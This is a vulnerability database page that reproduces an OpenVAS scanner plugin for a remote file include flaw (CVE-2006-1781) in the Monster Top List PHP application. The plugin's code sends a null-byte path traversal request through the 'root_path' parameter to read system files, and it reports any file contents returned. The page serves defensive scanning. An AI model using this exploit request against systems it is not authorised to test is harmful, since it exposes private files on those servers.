Lucene search
+L

Monster Top List Remote File Include

🗓️ 24 Oct 2008 00:00:00Reported by Copyright (C) 2008 Josh Zlatin-AmishavType 
openvas
 openvas
🔗 plugins.openvas.org👁 25 Views

Monster Top List Remote File Include Vulnerabilit

Related
Refs
Code
# SPDX-FileCopyrightText: 2008 Josh Zlatin-Amishav
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.80073");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2008-10-24 23:33:44 +0200 (Fri, 24 Oct 2008)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_cve_id("CVE-2006-1781");
  script_xref(name:"OSVDB", value:"24650");
  script_name("Monster Top List Remote File Include");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2008 Josh Zlatin-Amishav");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"The remote web server is running Monster Top List which is affected by a
  remote file include vulnerability.");

  script_tag(name:"insight", value:"The installed version of Monster Top List fails to sanitize user input
  to the 'root_path' parameter in sources/functions.php before using it to include PHP code from other files.

  This flaw is only exploitable if PHP's 'register_globals' is enabled.");

  script_tag(name:"impact", value:"An unauthenticated attacker may be able to read arbitrary local files or
  include a file from a remote host that contains commands which will be executed on the remote host
  subject to the privileges of the web server process.");

  script_xref(name:"URL", value:"http://pridels.blogspot.com/2006/04/monstertoplist.html");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/17546");

  exit(0);
}

include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("traversal_func.inc");

port = http_get_port(default:80);
if (!http_can_host_php(port:port))
  exit(0);

foreach dir(make_list_unique("/toplist", http_cgi_dirs(port:port))) {

  if(dir == "/")
    dir = "";

  buf = http_get_cache( item:dir + "/", port:port );
  if(!buf || ("<title>Monster Top List" >!< buf && ">Monster Top List</a>" >!< buf))
    continue;

  files = traversal_files();

  foreach pattern(keys(files)) {

    file = files[pattern];

    req = http_get( item:string( dir, "/sources/functions.php?root_path=/" + file + "%00"), port:port );
    res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
    if (!res)
      continue;

    # There's a problem if...
    if (
        # there's an entry for root or...
        egrep(pattern:pattern, string:res) ||
        # we get an error saying "failed to open stream" or "Failed opening".
        #
        # nb: this suggests magic_quotes_gpc was enabled but passing
        #     remote URLs might still work.
        egrep(string:res, pattern:"Warning.+/" + file + "\0sources/func_output\.php.+failed to open stream")

    ) {
      if (egrep(pattern:pattern, string:res)) content = res;

      if (content)
        report = string(
          "Here are the contents of the file '/" + file + "' that\n",
          " the scanner was able to read from the remote host:\n",
          "\n",
          content
        );
      else report = "";

      security_message(port:port, data:report);
      exit(0);
    }
  }
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation